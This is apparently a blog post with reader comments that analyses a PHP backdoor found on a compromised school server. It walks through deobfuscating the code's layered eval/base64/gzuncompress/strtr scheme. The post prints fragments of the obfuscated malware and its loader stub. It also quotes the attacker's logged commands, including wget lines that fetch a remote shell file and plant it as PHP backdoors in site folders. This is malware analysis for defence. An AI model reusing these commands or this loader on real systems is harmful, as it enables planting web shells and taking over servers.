In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with ‘www’ user privileges. Some of the commands that were run include id, pwd as well as directory searches and wgets of various files. The compromised machine also served as a hop in a pharmacy ad delivery scheme. It redirected HTTP requests for medications to a possible ‘mothership’ server. There is evidence that links to our server were posted as ads on websites like MySpace.
This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.
You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.
PARTIAL CODE:
** Note, the original file has everything between <?php ?> tags on one line, and everything else on another. The below code is changed for readability.
<?php $OOO0O0O00=__FILE__; $O00O00O00=__LINE__; $OO00O0000=3024; eval( gzuncompress( base64_decode( 'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG 6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8 wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq w01Zam1xo8hNAgpRWB30PQ+ATAxF8l' ))); return; ?> ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7 H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ ......(skipping many bytes)...... Y9yT5MATh+TOXU8==
** Complete PHP file provided per request
OBFUSCATION TECHNIQUES USED:
(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)
(b) Insertion of NOP (no operation) statements such as:
$LINE_NUM = 1;
while(–$LINE_NUM) fgets($FILE_HANDLE,1024);
(c) Use of compacting, mapping functions such as:
strtr() or gzuncompress(base64_decode(“string”));
(d) Multiple rounds of obfuscation
DEOBFUSCATION:
The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing eval() with a print gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.
<?php $FILE_NAME=__FILE__; // Mine is "/home/aleksey/php_virus/file.php" $LINE_NUM=__LINE__; // It is "1". Explanation below $SIZE=3024; $FILE_HANDLE=fopen($FILE_NAME,'rb'); while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed fgets($FILE_HANDLE,4096); // reads in the first line, advances the file pointer $CODE= gzuncompress( base64_decode( strtr( fread($FILE_HANDLE,368), 'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ))); //eval($CODE); return; ?>
Explanation:
__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are fgets() commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).
(2) Second round of decryption.
We need to see what the value of $CODE is in cleartext. Once again, there is a “gzuncompress(base64_decode(” instruction which is passed the value of strtr() function (not to confuse with strstr()). The strtr() functions prototype is “string strtr(string $str, string $from, string $to)”. It returns a copy of “str”, translating all occurrences of each character in “from” to the corresponding character in “to”. So we have a mapping of some sort. Now comes the complicated part.
The $str is a string of 368 bytes from the original file. But, there are 2 fgets() statements that advance the file handle before the fread() can read in the 368 bytes. The first fgets() is not executed because in “while(–$LINE_NUM) fgets($FILE_HANDLE,1024);” the value of LINE_NUM is 1. The second fgets() statement,”fgets($FILE_HANDLE,4096)” is executed - it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.
We use those 368 bytes in “gzuncompress(base64_decode(strtr(fread(“ as the value for fread(). The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an ereg_replace() call.
<?php
$FILE_NAME=__FILE__; // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__; // It is "1".
$SIZE=3024;
$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);
if (!function_exists('gzuncompress')) die('');
$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));
fclose($FILE_HANDLE);
//eval($CODE2);
return;
?>
(3) Third round of decryption:
We now need to figure out the value of $CODE2. The ereg_replace() prototype is “string ereg_replace (string $pattern, string $replacement, string $string)”. It scans “string” for matches to “pattern” , then replaces the matched text with “replacement”. Right away we notice that “pattern” and “replacement” are the same thing. So this is another NOP operation. Again the focus is on “gzuncompress(base64_decode(strtr(”. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don’t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!
(4) Fourth round of deobfuscation.
We finally have some useful PHP code. But part of it is still scrambled. There is another series of “gzinflate(base64_decode(” commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more “eval(gzinflate(base64_decode(” commands in the code. A python script like this solves the problem.
SUMMARY
So what exactly does the code do?
(a) Executes a command passed in $_POST[”I1llI1″]. Could be any system command.
(b) Its mothership is “hxxp://bessearches.info/virtual/gen.php”. Queries to our exploited server, such as “GET_php_virus?/phentermine/drug-phentermine.html” are satisfied by pulling actual information from the mothership and displaying it on exploited server.
What command were run on the infected machine?
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.
ls -lidpwd find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php
So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.
FOLLOW UP
The mothership (hxxp://bessearches.info/virtual/gen.php) is still up. Simply entering this URL spits out an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.
ADDITIONS
[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks Schmoilito)












cool post! but what is viral about it?
I took a shot at de-obfuscating the mothership’s script, but according to gzip, the data for inflation is invalid, am I missing the first line of the file? (Since you mentioned this was the 2nd line) Are you talking about the “DdNHzptaAEDh5SQRA5ppijIw9RpMb4bJE5e…etcetc” line?
Schmoilito, you caught my mistake. I meant to put the word virus in quotes. Would you say the proper terminology is adware/backdoor? (or is better not to categorize it to avoid being shot)
Lee, yes I’m talking about the “DdNHzptaAEDh5SQRA5ppijIw9RpMb4bJE5e…” line that the browser spits out. I also tried a simple base64_decode, gzuncompress combination and it didn’t work. The original file worked with that line in 368 and 3024 pieces (didn’t test this) and did the decoding on them separately. So I suspect this should be treated the same way. Also possible that its more complicated then that. If you want this file its on offensivecomputing.com (hash: 6891e6df8e053d3438af8a5404284361)
I would consider it a back door, since they could do much more then just host ad’s if they wanted to. Anyway, good job!
Hello webmaster, Nice blog posting about at ISIS Blogs. I would have to agree with you on this one. I am going to look more into . This Tuesday I have time.